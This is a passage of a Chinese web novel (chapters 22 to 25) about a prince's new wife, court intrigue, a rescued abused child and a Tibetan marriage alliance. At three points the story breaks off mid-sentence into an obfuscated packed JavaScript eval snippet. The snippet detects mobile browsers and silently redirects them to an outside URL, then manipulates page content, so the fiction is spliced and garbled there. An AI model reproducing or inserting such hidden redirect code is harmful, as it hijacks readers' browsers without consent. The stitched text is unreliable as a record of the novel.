梅倾秋陡然翻身向他，李秉昶连忙松开珠扇。珠扇一摇一摆地左右幌动，她的姣好面容就在珠扇后面若隐若现。他不禁探出手，手指勾住了一缕秀发，珠扇停止幌动搁在他手背上，他就鬼使神差地停下了动作。 风烛合奏犹如新婚夜的琴瑟，风将窗幔吹得呼呼作响，趁着一丝缝隙溜了进来，缠着火烛刮个不停，直至最后一盏亮光也暗去。 他伸手触摸她的脸，整颗心提到了嗓子眼。人的肌肤哪有什么不同，可眼前人的肌肤就是又弹又软，并且滑滑的，稍不留神就到了唇边。 他全神贯注地描摹那唇线，白日里涂了胭脂是唇红齿白，黑夜里是蒙上薄纱的樱桃。全因亲眼看着它熟透，才愈加想将其采摘。 他凑上前，在她睁眼的同一瞬间吻了上去。 她没有推开他，但木槿花香逐渐消失。 他慌乱地拥紧她，一睁眼天亮了。榻上无人，只有摇晃的珠扇，他怀里抱着薄被。 李秉昶猛地弹起身，日光已经透过窗纱洒进房，铺盖在床头那盏灯烛上。他竟分不清，哪一部分是梦，哪一部分是现实。 22. 第 22 章 太阳初升，匆匆用过早膳，梅倾秋就拉着李秉昶回太尉府了。今日是婚后第五天，要回门。 对梅倾秋而言，在襄王府多待一刻就要多受长吏的目光审视，直待他们坐上马车，长吏都还苦口婆心地叮嘱梅倾秋回门后的礼数。 “长吏可以休息了。”李秉昶说罢拉上窗幔，喊马夫赶车，梅倾秋耳根才清净了会。 长吏的声腔于她而言实在是太有魔力了，导致马车于街上被逼停，梅倾秋都在想：要是长吏在肯定会说这是不祥之兆。 街上嘈杂不断，梅倾秋掀开窗幔，不远处堵在路中间的是一名糙汉，衣衫褴褛，肤色黢黑。他似乎一直拉扯着何人的衣领，但自始至终只有他在骂，最后甚至变成拳打脚踢。路人们为免受波及，退至一侧，人群分开才让梅倾秋看清被打骂的是名女孩。 路人围观几乎横跨了路面，却都干杵着，或笑或叹，就是不作为。矜儿朝旁人一问，得到的回答就是老父亲在‘管教’。 “这是施暴！”梅倾秋气道。 但毕竟已是王妃，她只能喊傅雁去管。 彼时终于有几名看不惯的路人拉住糙汉，那糙汉骂骂咧咧地挣开，而后提着至多十岁女孩的后领进巷，在巷口被傅雁叫停。傅雁说了一番，那人的狰狞面貌陡而转变，毕恭毕敬地朝马车鞠躬。 被他拉扯的孩子与马车里的梅倾秋相视，其骨瘦如柴，一脸茫然，像刚从水里捞出来一样面如死灰。然后就被拉进巷子了。 “听我说要报官，他立马就保证不再打孩子了。”傅雁道。 无人碍路后，马车重又行进。梅倾秋还是掀着窗幔往后望，巷口已是空空如也。矜儿在外跟着马车慢走，宽慰梅倾秋：“王妃不必过度担忧，那毕竟是父亲。” “父亲不代表一定是好人，血缘与品德并不挂钩。”静默许久的李秉昶突然道。 矜儿惊讶垂下脸，道：“王爷所言也对。” 梅倾秋仍是不放心，顾虑到矜儿性子柔唬不住那糙汉，她只能再向秉昶借傅雁一用。让他掉头跑一趟，观察那糙汉如何待孩子的，以及向街坊打听他家情况。 “这……”傅雁无措看向李秉昶，显然是认为这等小事哪里用得着他出马，他可是襄王的贴身侍卫。他迟疑的表情已经透露出这类想法了。 李秉昶坐在梅倾秋左侧，微微前倾探头，回给傅雁一个不解的眼神：“需要怎么做，王妃不是已经说清楚了吗？” 此话说得轻飘飘，语气却极为骇人，威力等同于扇一巴掌的前摇了。傅雁低头道是，清楚了。便拉紧缰绳掉头，赶着去完成命令了。 “襄王府所有人你都可以尽情调配，不必顾忌我。”李秉昶道。 “好……”梅倾秋木木应道。 - 正午太阳高悬，太尉府中忙得不亦乐乎，厨房菜碟堆得足有三层高，庭院仆人交错来回，拨琴声徐徐自里间传出。 回门宴上，李秉昶正坐上位与岳父梅穹对饮。 李秉昶酒量向来不错，且不贪杯，所以从来不醉。可岳父催酒怎能不喝？梅倾秋就看着他从面无表情到拧眉弄眼，整张脸泛出红光，半晌就双目浑浊了。他已然醉了。 “王爷还是去休息会吧。”梅倾秋道。 李秉昶欲拒，转身朝她举起了一根手指，但忽而又似忘了要说什么，思忖片刻嘴角上扬凑近她，整个头扎在餐桌上了。 见状梅穹终于放弃捉弄这位女婿，招来左孑，让他带王爷到厢房休息。梅穹则与梅倾秋到庭院里去。 “王妃这个新身份可还适应？”梅穹问。 “还行，父亲。” “听闻你婚后第二天进宫了。” “是，去给襄王的母妃请安了。” 梅倾秋指尖摸索到玉镯，便问：“父亲，你可知襄王生母慧妃的死因？” 梅穹落座亭中石凳，惊奇地看了她一眼，好似没料到她会提起这个。 “慧妃贤良，原本她是有望被封皇后的。” “那为何反倒入了冷宫？” 梅倾秋坐在石凳上，惊讶道。 “圣上尚是皇子之时，慧妃娘家吕家是他最强力的后盾，他也当真深爱慧妃。为助其篡位，吕家是拼尽人事，鞠躬尽瘁。吕家作为头等功臣自是升官封爵，风光无二。但不过三载，圣上就以‘营私舞弊’为由处斩了慧妃的兄长，还是在念及吕家功劳与慧妃的面子上，从轻发落不波及族亲。但吕公（慧妃父亲）还是自请卸甲归田。也是在那一年，慧妃被打入的冷宫。” “昏君！”梅倾秋情不自禁骂了一声，“竟忘恩负义至此。” 梅穹长叹，啜饮清茶。 “那慧妃死因究竟为何？”她追问道。 “你可查出了什么？” 梅倾秋如实道出坊间流传的可能性。疾病缠身、受人迫害、自缢身亡。 茶杯落桌咔嗒一声，梅穹反复捋下巴的短须，道他知道的也跟她差不多。 “唯一可以确定的是，慧妃往生时，襄王就在场。” 玉镯贴着手心转动，一阵凉意袭入肌肤，心中也凉了几分。她回想他看见玉镯时的神情，那强颜欢笑下分明有难掩的悲伤。 “秋儿，还有一事。” 梅倾秋回过神，石桌上多了一封信笺。她狐疑看了看父亲，抓起那封信笺，拆开来，里头有两张纸。 一张寥寥几句，是之前神秘人暗投给梅穹的纸条，指太子过度信奉道教，私自招揽道士炼制丹药。另一张是近年与太子有过接触，而后消失的道士名单，足有十名。 “太子炼丹？” “此事没有十足把握，我仍在调查。” 梅倾秋回想此前与太子接触，他确实很依赖药物，痴迷道教。 “那父亲对送线索的人有头绪吗？” 梅穹摇了摇头，道他思量许久，也试探了几名怀疑的人，但都不是。 还有人看不惯太子？ - 午后阳光和煦，竹影倾斜映地，和风撩起窗幔。梅倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147841|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋自窗前过，透过窗幔后的缝隙瞥见里屋的李秉昶。他坐靠床框熟睡，也未盖被。 梅倾秋掉头进屋，随手翻起薄被盖在他身上。方一走开，薄被因他倒床的动作掉下地。他整个人仰躺床榻。 她弯身去捡，缠在被里的还有一条手绢。她当即认出是自己的手绢。却也花了半晌思考是落到他手里的。 定是襄王喝醉，而她错手在他脖子上划出伤口的那晚。手绢给他止血用，后改做牵手用，最后忘了收回。 思及此，梅倾秋上前瞧他的脖子，想看看被她刺出的那点伤口还在不在。寻了好一会儿，还找到一点类似的薄痕。 时至今日，那点小伤口自然是寻不见了。那如何还揣着手绢？ 梅倾秋替他将手绢塞回袖口，把被往他身上一扔，关门走了。 回到隔壁厢房，宁枝已在房内候了许久。见到梅倾秋第一句话便是：“在下见过襄王妃。” 梅倾秋嗔怪地瞥了她一眼，问近日暗卫们的近况。赤影（梅倾秋）拥有一批暗卫，早期成员只有宁枝和她的同伴，后来逐渐增添，现下是宁枝在内六名。 赤影的暗卫皆是孤儿，或是幼时父母就双亡，走投无路被宁枝带了回来；或是无力改变不公，意图投河被梅倾秋劝了回来；或是为了自救反抗，推了把加害者致其死亡，逃跑路上遇到梅倾秋的…… 赤影的‘影子’与梅倾秋相识至今，最久的六年，最短的也有四年。四女两男，平日他们都有各自的生活隐秘身份，或是经商、或是马夫、或是进士…… “阿风来报，说太子解除禁足后他着重注意了他的轨迹，发现太子一出宫就去北边密林。阿风跟踪了两回都会在里面迷路。”宁枝道。 “北边密林……父亲也跟我说了太子行踪可疑，或许在炼制什么丹药，继续调查吧。让阿风注意安全。” “行。” 考虑到药铺还需留着做秘密基地，且竺月也在药铺，宁枝就不随梅倾秋去襄王府了，但被赋予了随时进出襄王府的权利。梅倾秋从李秉昶那讨来了令牌。 “对了，谢卫中了武状元，你可听说了？” “尚未，那再好不过了，他就很想当武状元来着！” 宁枝无故叹了一声，道：“他真正想的只怕已经无处寻了。” “这从何说起？他参加武举不就是为了当官吗？” 见眼前人当局者迷的模样，宁枝只能暗自为谢卫可惜。宁枝与谢卫不过几面之缘，却也当即看出了谢卫对梅倾秋的恋慕之情，简直是昭然若揭。 对于谢卫一个浪迹江湖的侠客，何故前往参加武举，宁枝也可猜得一二。想必是自知与心上人地位有别，谋个官职好给对方名分。不料功成名就了，心上人却嫁人了。 “他可去了药铺？”梅倾秋又问，“此前我还答应他为他设宴，现下看也是不行了。” “他昨日来了一回。” “那你代我向他问好。” “好。”宁枝微不可察地又叹一声。 23. 第 23 章 今日阴天无阳，薄雾轻笼天空，目光所及皆是灰蒙蒙的。一抹灰黑色穿过廊道直奔雨亭，停在梅倾秋身后。 “王妃，”傅雁垂首道，“前两日你让我照顾的小孩，昨日夜里逃跑了。” “怎么回事？” “那糙汉酗酒赌博，拟了卖身契要把她抵给赌庄，听闻即将摁手印时她夺过卖身契跑了。我问了邻居也没人知晓她去了哪，城中已经没有可救济她的亲戚了。但她父亲说要报官把她抓回去。” 梅倾秋走出雨亭，问：“那孩子叫什么？” “步桑。” “赶在她父亲之前找到她。” “是，我知道了。” - 此时的步桑躲在深巷的阴影里，执着且哀怨地盯着街对面的包子摊，那香味越过竹笼与人群，势不可挡地环绕她鼻端。她站起身，手扶石壁，换了一个姿势继续盯。 自从昨夜逃跑至今，她只喝了荷叶上的露水。往日在家中虽也食不果腹，但每天清晨还是可以有碗米汤。因为她要去挑柴洗碗，她爹爹会让她吃饱了去。 步桑的注意力尽在包子摊上，故而没发现有人正朝自己一步步走来。当被竹叶包裹的包子在面前打开，香味愈加浓烈地扑鼻而至，她惊喜而惶恐地看着眼前大哥哥。 “你不是看着我刚买的吗？没有毒。” 步桑摇了摇头，说自己没有在看他，只是在看包子。她在对方的鼓励下接过包子，大口吃了起来。 “我叫宁枝，你呢？” “我叫步桑。” 步桑咽下裹着肉馅的包子皮，尽可能口齿清晰的回答。 宁枝等她吃饱喝足了，问道：“步桑，你能告诉我为什么一个人在这吗？” 步桑看了看她，低垂着头将一切如实相告，包括母亲早亡、常年被酗酒父亲殴打、打苦工的钱被父亲拿去赌博、险些被抵押给赌庄。 方十岁出头的小女孩，五官端正却灰头土脸，眼里充盈泪水又硬憋着不让泪掉下。过于相似的经历，令宁枝联想到了自己的童年。 竹藤将皮肉抽得绽开，血丝透过淤肿往下流，渗过旧伤连带着酸痛复苏； 泥泞雨路坑坑洼洼，泥水上溅脚踝，潮湿味、汗臭味、血腥味全都混淆在一块，覆盖那条狭窄又漫长的小路； 幽静之中有人撞见了她的恶举，却不揭发她，坐在房檐上轻晃双脚，道：“你怕什么，他撞酒坛上死的，与你何干？” “那你逃出来了，准备往哪去？”宁枝问。 步桑摇了摇头。 “你愿意随我走吗？我有一间药铺，至少可以保证你有个吃住的地方。” 闻言步桑双眼放光，但又迟疑着后退了两步，无功不受禄这个道理她还是懂的。 忽而一阵刺耳吼叫钻进耳朵，宁枝还未听清来人所骂内容，就从步桑恐惧的眼神中猜到了端倪。她转身将步桑护在身后，面目狰狞的糙汉停在宁枝面前。 “你又是哪来的小鬼头，就是你拐了我女儿？！我就说这臭丫头怎么会懂得逃跑，原来在外面勾搭了男人！” 糙汉伸手要去够步桑，被宁枝掐住手腕往下折，传出一声声清脆的骨头断裂声。糙汉捂住胳膊躬着身子叫唤。 知道对面又是个惹不起的人物，糙汉索性放弃，只敢拉开距离，低声骂着步桑让她滚回去。 “步桑，你还愿意做他的女儿吗？” “不愿意。” 糙汉瞳孔睁大，怒不可遏地说宁枝是邪教，竟敢怂恿他女儿不认这个父亲。身子一倒四脚朝上，窝在地上耍无赖卖惨。嘴里不断咒骂女儿不孝、跟人跑了、不认爹了之类的话。 他从巷口滚到街面中心去，路人被招揽过来围观，听了一面之词就交头接耳，对宁枝指指点点。 “穿得人模人样的，怎能如此拆散别人孤苦相依的父女。” “你们不要被骗了！”步桑跳出来说。当着围观路人的面掏出一张卖身契，自证就是这个父亲要卖了她换钱，现今到处找她为的也是这个。 路人人云亦云，一下又反过来站队步桑了。原本躺在地上撒泼的糙汉爬起身，忍无可忍撸起袖子，靠近步桑就想打她。宁枝擒住他的衣领把他摔到旁边摊车上，摊上摆卖的斗笠包囊掉了一地，宁枝给摊主半贯铜钱做赔礼。 糙汉怒火中烧，可当宁枝说她出钱买下步桑的卖身契，糙汉立马坐地起价，还要求当下就得给钱。就是回去取钱也不肯，说他的时间就是金钱，为了找步桑浪费的一个时辰放在赌桌上可以赢回一大笔钱了。 “我说了我去取钱给你！你这是一百两，谁会随身带这么多铜钱？”宁枝抓住他衣领，咬牙切齿道。 “你不能马上结钱，赌庄可以！又不是除了你这丫头就没地卖了。” “你……” 宁枝抬起拳头，糙汉立马把脸藏在手臂之后。 “这位兄台，我可以借你钱。” 一道声音自人群中飘来，路人同步循声回望，让出通道让说话人走出来。 宁枝认得他，是曾到过药铺的许骄松。宰相之子。 许骄松缓缓走到宁枝身旁，问她还差多少？ 宁枝看了看自己的钱袋，道：“我身上只剩一贯……” “我刚好有张一百两的银票，可以借与你。”见宁枝面露疑惑，他解释：“我听了半晌已经明白了始末，也只是想伸出援手救救这个孩子。” 宁枝抵拳相谢，用这一百两银票从糙汉手上‘买’下步桑。她拔出刀鞘，恐吓他：“步桑与你再无瓜葛，如果你胆敢再打她的主意，我定不会这样守规矩饶了你。” “是是是，公子，我不会来了，我不要她了！”糙汉拽紧银票，看也没看步桑就走了。步桑盯着他远去的背影，没忍住从地上捡起块石子扔出去，掉在他脚边没扔到他。 路人结束围观散开，许骄松也转身要走。 “等等。”宁枝喊住他，说要还他钱。 “不必，我之所以说借，只是为了让你能带这孩子走。不必还钱。” “不行！”宁枝抓住他肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147842|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀，硬将其扭过身来，“我有钱！你就在旁边这茶摊等我，一盏茶功夫我就能把钱取来。” 说罢宁枝不给他反应机会，牵起步桑就走，留许骄松一人呆愣在地。 “公子，你要什么茶？” 茶摊小二听到了宁枝说的话，自主就上来揽生意了。许骄松无奈就座，要了壶绿茶。 一盏茶功夫不到，宁枝就风风火火地回来了，将一百两银票拍在木桌上。茶杯轻轻颤动。 “还要多谢公子施以援手，告辞。” “欸？等等……”许骄松起身离座，透过憧憧人影看忽隐忽现的蓝衫，“你这就走啦？你还没告诉我名字呢！” 真是个怪人。许骄松想。 - 襄王府内。已到期限的长吏来与梅倾秋辞别，说经过这段时间的学习，王妃已能管理好王府内务了。 梅倾秋扯起僵硬的唇角，道长吏使路上小心。让矜儿送长吏一程。 她回首摊开读一半的书籍重开起来，手肘撑在桌上抵着脑袋，清闲地翻看。脚步声缓缓行至门前，叩响门。 “矜儿，给我续一杯茶吧。”她头也没抬道。 茶水潺潺涌入瓷杯，茶香味徐徐绕鼻，梅倾秋伸手去接，瞥到身侧的深紫色长袍，这才心觉不对抬起眼，李秉昶笑着双手将茶杯放到她手上。 “王爷，你怎也没出声。” 梅倾秋合上书，将茶杯放在桌前。 李秉昶在一旁落座，只道看她正看书入神，就没出声。 “长吏使今日回内务府了，这下我们可以分房睡了，不必再压抑自己了。” 李秉昶苦涩道：“是啊。” 心想这个‘压抑’真是有多重含义。 除去梅倾秋回门的那几天，近日他们依然同房，却不同床。李秉昶是在屏风后的坐塌入睡的，隔天一起总腰酸背痛，长吏当即会错了意，还曾暗中赞许梅倾秋。而她一脸茫然的表情只被长吏认为是羞涩矜持。总之长吏此番应是得到了满意的结果离去的…… “对了，”李秉昶想起今日在宫里听到的消息：“堇婳相中了谢卫，皇上也满意这名武状元，已经下旨让谢卫做驸马了。” “堇婳公主钟意谢卫？” 梅倾秋感到不可思议，但回想起上次戏楼时的情形，公主似乎早就对谢卫有好感。 “真不明白她看上他哪点……也不听我的劝，皇上就这一个公主，竟也就依着她。” 李秉昶丝毫不掩饰对谢卫的反感，眉头紧蹙，双眉沉思着望向庭院，似乎在构想自己妹妹跟谢卫站在一起的模样。 “谢卫很有侠义风范呀，想来公主在戏楼那时就心仪他了。” 她话音刚落，李秉昶就向她投来震惊的眼神。仿佛在说：他哪处体现侠义了？ 梅倾秋尴尬地笑了笑，转过身饮茶。 起初她好奇谢卫会接受吗？但想了想他没有拒绝的理由。抗旨只有死路一条，况且公主是个好姑娘。事实证明确是如此。谢卫领旨承恩，成了公主驸马。 24. 第 24 章 元熹十二年，秋。 襄王府内枫叶遍地，一片橘红飘窗而过，落在折叠整齐的丹青绣服上。矜儿捻起枫叶扔出窗外，小心翼翼抚平衣裳，方提起裳领，为梅倾秋更衣。 翠色羽毛点缀大袖与衣摆，针线深浅变换，忽明忽暗，犹似真的羽毛在翩翩起舞。 矜儿为梅倾秋梳发，乌发盘起，朱色步摇做饰。花藤映额，粉腮衬白，将如同深幽黑洞的眼珠子勾勒得愈加迷人。 “王妃真美。”她取起胭脂盒，轻轻将梅倾秋的双唇点红。“听闻吐蕃赞普（吐蕃国主）很是年轻呢。” “似乎二十出头。”梅倾秋答道。 牟达赞普是两月前刚继任的吐蕃新主，恰逢每年朝贡期至，便携妹妹穆妮娅公主一同前来。 皇帝在宫中为外藩设宴，梅倾秋与李秉昶亦会出席，她如此盛装便是因此。只是男女不同席，皇帝接待外臣，皇后接待女眷。这还是梅倾秋成为襄王妃四个月以来，首次以王妃身份出席宴会。 “吐蕃的前赞普屡屡越境侵夺村落，部分地界仍未归还，此番穆妮娅公主随行，极有可能留在大宜和亲。”李秉昶道。 襄王夫妇共乘一辆马车进宫，此时面对面坐着。 梅倾秋松开窗幔一角，道：“我原以为新赞普年轻气盛，会更加冒进地与大宜为敌。不过未见分晓，尽有可能。” “牟达很狡猾，他曾担任越境的主帅，此次朝贡是求和还是反扑，还不一定。” 各府马车排队穿过宫门，朝臣们的车马停在宫墙旁，王室成员还可再往里走一段，再换成步辇。 梅倾秋搭着李秉昶的手下马车，抬眼恰与不远处坐步辇的太子对上了视线。她微微颔首向其行礼。太子嘴角上扬，冷哼一声偏开脸，摆了摆手，步辇加速远去。 “不用管他。”李秉昶道。“他同样会对我摆脸色。” “嗯。” 布设宴席的两座宫殿仅隔一道窄巷。步辇尚未停下，梅倾秋远远就看见了吐蕃的赞普与公主，两兄妹身姿挺拔，一举一动皆看得出是身怀武艺之人。 侍卫放下横木，衣摆堪堪及地，李秉昶便下轿回头，赶来牵扶梅倾秋。襄王夫妇首次一齐进宫，所着乃同色衣袍，丹青缀金线，相偎相依，红墙黛瓦之间尤为醒目。 李堇婳便是一下轿就奔俩人而来，驸马谢卫跟在其后。这一对刚成婚不足两月。成亲当日梅倾秋没有去，前后加起来竟是数月未见谢卫了。 谢卫自小父母双亡，惯于做四海为家的侠客，如今即是武状元又是公主驸马，体态举止都显得沉稳了些。双目静如止水。 他缓缓走近，先是按礼节拜见李秉昶，再唤梅倾秋一声王妃。 谢卫：“王妃可是不再经营药铺了？” 梅倾秋：“宁枝在负责。” 谢卫：“原来如此，我中武状元当天去过药铺，不知宁枝可有与你说？那会儿你刚成亲。” 李秉昶：“怎么，驸马身体不适？” 被打断的谢卫横了李秉昶一眼。闻言公主也关切地等谢卫回答。 谢卫：“劳王爷过问，我身体无碍，只是与王妃乃是旧相识，叙旧而已。” 李秉昶：“驸马的叙旧方式可真怪异。” 身量相等的俩人相对而立，莫名攀升起一股浓烈的火药味。梅倾秋对这俩人的脑回路深感不解，怎么每回相见都会掐架。 梅倾秋悄悄扯动李秉昶的袖摆，正色回答谢卫： “宁枝有说过，她还说要给你庆贺的。” “是啊，但人不齐嘛。” 她险些脱口而出还差了谁？好在她当即反应过来，他指的是自己。 “区区武状元，驸马还是要有更远大的志向。官阶升一品了再庆贺也不迟。”李秉昶冷冷道。 公主身在局中，却如置云里雾中。但她终归是听出了自己兄长与夫君的针锋相对，连忙拉开俩人打圆场。调皮道：“那二哥你也得帮帮谢卫啊！” 李秉昶也是个僵脾气，硬是不接茬。 “也得他有这个本领才是。” 宫殿徐徐升起笙乐，梅倾秋借此机会拉走李秉昶，到了宫殿口再分开。 “你不要跟谢卫呛，这样堇婳多为难。” 李秉昶压低叹息声，勉强应了声知道了。 可谓是冤家路窄，李秉昶与谢卫又是并肩入的殿。他强颜欢笑地与众人打招呼，目视前方，小声跟谢卫嘀咕：“怕你不识趣，提醒你一下，堇婳的背后是整个大宜，如果你占着驸马位又晾着她，你有九条命也不够赔的。” “襄王何出此言，我见异思迁了？” 李秉昶斜睨他一眼：“你最好是没有。” 而后便走往第一排矮桌落座，谢卫还需往第三排。 另一边的梅倾秋也与堇婳公主碰上了面。二人同行入殿，公主踌躇不定地拉住梅倾秋，问她关于谢卫的事情。 “倾秋，你可知晓谢卫儿时的事？” 梅倾秋站定，如实道：“我与谢卫相识之时，他已是孤身一人，更详细的我就不知了。” “我也只知道他原是无名侠客，如差人调查又怕伤了夫妻和气。” “那公主为何不直接问他？” 公主欲言又止，披帛垂袖被她攥在手里。眼眸低垂，丝丝消沉之意渗出长睫，凝聚成一滴闪烁的水珠夹在眼角。 “公主……” 梅倾秋拉她远离人群到墙角处，公主取手绢拭去那滴泪。 “你可是与谢卫吵架了？他欺负你了？” “不，不是……”公主连忙否定，东张西望确认无人接近，从牙缝里挤出一句：“我们至今未同房。” “至今？” 梅倾秋虽然自己也未做这事，但仍认为这是不对的，毕竟她与李秉昶是有言在先，而公主是屈尊下嫁谢卫的。成亲至今两月，却留公主独守空房。就是无此欲望的梅倾秋都为公主抱不平了。 “谢卫不曾提起原因？”梅倾秋斟酌着问法。 公主双颊泛红，蹙眉摇了摇头。 梅倾秋犯难了，她虽与谢卫是旧识，但算上儿时那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147843|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场巧遇，二人的相见次数一只手都数得过来。再者，她也不能以当下身份去探究他的心思。 “下次再遇，我试试探听他对你的想法？” 梅倾秋尝试提了一句，不料公主还真点头了。 “我担忧的是他并不想当驸马，却碍于圣旨勉强自己。如真是这样，我也不会强留他，我可以与他和离。” “公主……” 谢卫，你真是辜负了一心为你的人。梅倾秋想。 后妃们相聚的宴会殿里皇后居上位，昭贵妃居侧，台阶之下便是后宫妃嫔，而襄王正妃与嫔相较又高了一阶，太子侧妃亦在她之后。故而梅倾秋与李堇婳各居前排两侧。 琴箫合鸣，圆池之间红纱飘扬，戴金边面具的女子一袭红装，随箫声起舞，又依琴弦缠绵。曼妙身姿仿佛已与乐声相融一脉。 红帛纵横圆池，遥遥击打鼓面，霎时琴、箫、鼓三乐相合，却少见的和谐悦耳。 远处另有一抹亮色闯入宫殿，皇后摆手示停，乐声骤止。缓缓步入圆池的异域女子右手握拳抵在左肩，鞠躬朝皇后行礼。 “穆妮娅叩见皇后娘娘，皇后娘娘金安。” 其声尖而柔，于宽敞之地轻轻发出了回响。 “穆妮娅公主，何故到了此处？”皇后道。 穆妮娅抬首望皇后，回道自己是走错了，但如果皇后允许，她愿意融入女眷这边的宴殿氛围。 按理说穆妮娅作为吐蕃公主，属于使臣应在外藩宴上才是，且后宫妃嫔不可接触外臣。皇后思忖片刻，许是瞧她同是女子，便应允了。给她赐座前排，与梅倾秋相邻。 待穆妮娅落座，琴弦再次拨响，乐鼓曲声充盈满殿。 梅倾秋余光感知到视线，偏过头，穆妮娅正朝她微笑。她举起酒壶给自己倒了杯酒，边问：“你是襄王妃吗？” 她将酒杯递给梅倾秋，又快速重倒了一杯。 “是的，穆妮娅公主。” 梅倾秋接过酒杯，与其轻轻相碰，一饮而尽。 “王妃爽快，好酒量！” 长达两个时辰的宴席，穆妮娅格外热情地与梅倾秋攀谈。她样貌艳丽，肤色稍深，杏脸柳眉。凤眼时笑时静，却常携有一股难以言说的攻击力。这种攻击力与卡拉不同。卡拉是柔善的，而穆妮娅是尖锐的。 - 曲终宴散后。牟达赞普与穆妮娅公主齐聚一屋，随从在门外守着。 牟达抓起酒壶直灌入喉，娓娓道来与皇帝的私谈。指摘皇帝名不虚传，果真是过度奉道，心中无色了，只想长生。 两兄妹原定计划是让穆妮娅与皇帝和亲，做皇帝的妃嫔，所以她才假意迷路混入后妃的宴殿，是想提前试探皇帝的皇后与妃嫔们。 “那他是拒绝了和亲？” “不，和亲事宜我们谈了许久，最后他提出让你做襄王的妾室。” “襄王？！” 穆妮娅惊诧。她回想宴席上游刃有余的襄王妃，顿时心中没底。她直觉认为襄王妃不好对付，只怕会威胁她往后的计划。 25. 第 25 章 早朝结束后李秉昶被单独召到了甘露殿，此乃皇帝会见重臣、批阅政事这地。整座宫殿阒然无声，宦官婢女都退了出去，惟李秉昶与皇帝二人。 皇帝双手往椅撑两侧摊开，背往后靠，给自己找个了舒适的姿势。他先是提起今日朝会那些无关紧要、又得了妥善处理的事务，而后才恍然想起一般“啊”了一声。 “昨日牟达与我协商和亲一事，你认为皇室宗亲里何人合适？” 李秉昶是人尽皆知的最不受宠皇子，徒有政见，不得施展，封爵为王却也没封地，就如此被圈禁在天子脚下。这等关系到两国和睦的事情哪曾轮到他出主意。 他谨慎回答：“听闻穆妮娅公主文武双全，乃女子中豪杰，在吐蕃颇具盛名。如果随意让其与藩王和亲，恐招来牟达不满。” 皇帝点头称是，道：“朕也是这么想的。适龄皇子并不多，就你纳了穆妮娅吧。” “父皇……” “王妃将近半年无子，确也不妥。”他有理有据道。 “父皇，我成亲至今才满四月，这么快就纳妾不合礼数。” “什么不合礼数，需要我召来礼部尚书与你说清纳妾的礼数吗？”皇帝嚷道，“就这么定了，退下吧。” “我不会娶的，父皇。” “放肆！你敢如此忤逆我。” 李秉昶抬首，“专一于帝家是禁忌吗？” 皇帝瞳孔圆睁，抄起奏折扔向李秉昶。 二人本就相近，奏折锋利一角如刀尖划过他脑门，而后砸中他肩膀，最后才砰然摔在地上。 李秉昶额角顷刻浮现一道红痕，血丝挣出皮肉，蜿蜒淌过眼角。 “你竟敢跟我说这句话！” 专一于帝家是禁忌吗？——这是李秉昶的母妃，慧妃曾说过的话。 “父皇既然还记得此话出自何人之口，应也明了儿臣为何如此坚定。” 李秉昶抬起头，鲜血便顺着脸颊流下。 “我不会娶的，父皇。” 宫中曾流传着一个说法。二皇子之所以不受宠是性格太像死去的慧妃，而皇帝深爱慧妃，见了与她相似之人会痛心，才连带着放养了二皇子。给予藩王爵位，却将其强留在都城也是这个原因。 还有另一个说法无人敢言，是老一辈宫女得以出宫时说：慧妃悬梁的白绫是皇上赐的。 - 柳叶拂过马车顶，丝丝缕缕垂窗而落，掀开窗幔又有了一层柳枝帘。梅倾秋透过这层柳帘看不远处的牌匾，公主府三个字高悬于顶，喜字灯笼还未取下。 按礼数行事，驸马应在府外居住，得了公主授意才可进公主府。许是公主怜惜谢卫无族无亲，得了皇帝赏赐的府邸也是孤身一人，便让谢卫直接搬进了公主府。 梅倾秋此行是要进宫见昭贵妃，特意提前出府，顺道拐来的公主府。她记挂着昨日公主脸上迟迟不散的消沉。 家仆前去禀报，梅倾秋被请进府中厅堂。不消片刻，公主与驸马就一前一后出来了。 “倾秋，你怎突然来了？” 李堇婳喜出望外，牵着梅倾秋坐上榻，谢卫略显拘谨地站在一旁。 “我还要进宫见昭贵妃，顺道来看望下你。” 梅倾秋看了眼落座一侧的谢卫，转回来与公主交换了个眼神，公主意会她的意思，暗点了点头。 她起身说近日得了匹上好的锦锻，这就去取来，让谢卫先陪着梅倾秋。说罢便往后院去了。 厅堂里的仆人都接了指令退下。梅倾秋位于上座，谢卫位于一侧角落，恰是阳光照不到的位置，令穿了一身黑衫的谢卫看上去疲惫不堪，神态几近冷漠。 他抬眼看她，木无表情。下一秒强扯起嘴角浅笑：“你还好吗？” 没料到会得到这种问候，梅倾秋笑着回答：“我挺好的。你呢，成了驸马可还习惯？” 数月未见加上地位变化，一对故友已然是疏离了。 